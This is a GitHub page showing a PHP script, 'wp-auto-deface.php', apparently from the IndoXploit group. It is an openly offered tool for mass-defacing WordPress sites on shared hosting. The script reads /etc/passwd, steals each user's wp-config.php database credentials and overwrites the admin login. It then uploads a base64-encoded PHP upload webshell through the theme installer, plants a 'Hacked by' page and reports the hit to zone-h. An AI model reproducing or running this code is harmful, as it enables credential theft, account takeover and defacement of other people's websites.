-
Notifications
You must be signed in to change notification settings - Fork 5
/
Copy pathwp-auto-deface.php
221 lines (177 loc) · 7.42 KB
/
wp-auto-deface.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
<?php
//how to use : https://www.youtube.com/watch?v=q72Rp8QM4xI
//Tu5b0l3d
//IndoXploit
//http://indoxploit.blogspot.com/ - linuxsec.org
error_reporting(0);
$zh = "Nabilaholic404"; // zone-h nick
$jembut = "jack"; // add username wordpress
$jembut2 = "linuxsec"; // add password wordpress
$kontol = "<body style='color: transparent;background-color: black'><center><h1><b style='color: white'>Hacked by LinuxSec<p style='color: transparent'><title>Hacked by Nabilaholic404</title>"; // script deface
######################################################################
// script di bawah tidak perlu di otak atik
// jangan pernah mengubah nama file ( k.php ) dan ( m.php ) , atau auto deface tidak akan berjalan
echo "<body bgcolor=black>";
echo "<font color=green>";
echo "<title>IndoXploit WordPress Auto Deface</title>";
cover("IndoXploit");
function save($data){
$fp = @fopen("indo.htm", "a") or die("cant open file");
fwrite($fp, $data);
fclose($fp);
}
function anucurl($sites){
$ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
}
function lohgin($cek, $web, $userr, $pass){
$post = array(
"log" => "$userr",
"pwd" => "$pass",
"rememberme" => "forever",
"wp-submit" => "Log In",
"redirect_to" => "$web/wp-admin/",
"testcookie" => "1",
);
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
}
function cover($indoXploit){
echo "<center><font size='5px'> WordPress Auto Deface Coded by $indoXploit</font><br>";
echo "Deface Result : <a href='indo.htm' style='text-decoration: none'>indo.htm</a></center><br><br><br>";
}
function ambilKata($param, $kata1, $kata2){
if(strpos($param, $kata1) === FALSE) return FALSE;
if(strpos($param, $kata2) === FALSE) return FALSE;
$start = strpos($param, $kata1) + strlen($kata1);
$end = strpos($param, $kata2, $start);
$return = substr($param, $start, $end - $start);
return $return;
}
$a = file_get_contents('/etc/passwd');
preg_match_all('/(.*?):x:/', $a, $data);
foreach($data[1] as $user){
$baca = file_get_contents("/home/$user/public_html/wp-config.php");
/* symlink('/home/'.$user.'/public_html/wp-config.php',$user.'- config.txt'); */
if($baca!=""){
/* $b = `cp /home/$user/public_html/index.php $user-index.txt`; */
$file1 = "$user-config.txt";
$fp2 = fopen($file1,"w");
fputs($fp2,$baca);
$file = @file_get_contents($file1);
echo $user."-> sukses<br>";
$host = ambilkata($file,"DB_HOST', '","'");
$username = ambilkata($file,"DB_USER', '","'");
$password = ambilkata($file,"DB_PASSWORD', '","'");
$db = ambilkata($file,"DB_NAME', '","'");
$dbprefix = ambilkata($file,"table_prefix = '","'");
$user_baru = $jembut;
$password_baru = $jembut2;
$prefix = $db.".".$dbprefix."users";
$sue = $db.".".$dbprefix."options";
$pass = md5("$password_baru");
$nick = $kontol;
echo "# Db Host: $host<br>";
echo "# Db user: $username<br>";
echo "# Db Password: $password<br>";
echo "# Db name: $db<br>";
echo "# Table_Prefix: $dbprefix<br>";
mysql_connect($host,$username,$password);
mysql_select_db($db);
$tampil=mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
$r=mysql_fetch_array($tampil);
$id = $r[ID];
$tampil2=mysql_query("SELECT * FROM $sue ORDER BY option_id ASC");
$r2=mysql_fetch_array($tampil2);
$target = $r2[option_value];
echo "# $target<br>";
mysql_query("UPDATE $prefix SET user_pass='$pass',user_login='$user_baru' WHERE ID='$id'");
$site= "$target/wp-login.php";
$site2= "$target/wp-admin/theme-install.php?upload";
$a = lohgin($site, $target, $user_baru, $password_baru);
$b = lohgin($site2, $target, $user_baru, $password_baru);
$anu2 = ambilkata($b,"name=\"_wpnonce\" value=\"","\" />");
echo "# token -> $anu2<br>";
$upload3 = base64_decode("PD9waHANCiRmaWxlMyA9ICRfRklMRVNbJ2ZpbGUzJ107DQogICRuZXdmaWxlMz0iay5waHAiOw0KICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygiLi4vLi4vLi4vLi4vIi4kbmV3ZmlsZTMpKSB1bmxpbmsoIi4uLy4uLy4uLy4uLyIuJG5ld2ZpbGUzKTsNCiAgICAgICAgbW92ZV91cGxvYWRlZF9maWxlKCRmaWxlM1sndG1wX25hbWUnXSwgIi4uLy4uLy4uLy4uLyRuZXdmaWxlMyIpOw0KDQo/Pg==");
$www = "m.php";
$fp5 = fopen($www,"w");
fputs($fp5,$upload3);
$c = file_get_contents($w);
$post2 = array(
"_wpnonce" => "$anu2",
"_wp_http_referer" => "/wp-admin/theme-install.php?upload",
"themezip" => "@m.php",
"install-theme-submit" => "Install Now",
);
$ch = curl_init ("$target/wp-admin/update.php?action=upload-theme");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post2);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data3 = curl_exec ($ch);
$namafile = "wew.php";
$fp2 = fopen($namafile,"w");
fputs($fp2,$nick);
$y = date("Y");
$m = date("m");
$ch6 = curl_init("$target/wp-content/uploads/$y/$m/m.php");
curl_setopt($ch6, CURLOPT_POST, true);
curl_setopt($ch6, CURLOPT_POSTFIELDS,
array('file3'=>"@$namafile"));
curl_setopt($ch6, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch6, CURLOPT_COOKIEFILE, "coker_log");
$postResult = curl_exec($ch6);
curl_close($ch6);
$as = "$target/k.php";
$bs = file_get_contents($as);
if(preg_match("#hacked#si",$bs)){
echo "[+] <font color='cyan'>Deface success..<br>";
echo "[+] $as<br>";
save($as."<br>");
echo "[+] zone-h: ";
$ch3 = curl_init ("http://www.zone-h.com/notify/single");
curl_setopt ($ch3, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch3, CURLOPT_POST, 1);
curl_setopt ($ch3, CURLOPT_POSTFIELDS, "defacer=$zh&domain1=$as&hackmode=1&reason=1");
if (preg_match ("/color=\"red\">OK<\/font><\/li>/i", curl_exec ($ch3))){
echo " Ok <br><br>";
}else{
echo " No <br><br></font>";}
}
else{
echo "[!] <font color='red'>Deface Failed..<br>";
echo "[!] Try manual deface at : <br>";
echo "[!] $target/wp-login.php<br>";
echo "[!] username: $user_baru<br>";
echo "[!] password: $password_baru<br><br><br></font>";
}
}
else{
echo "$user <= No<br>";
}
}
?>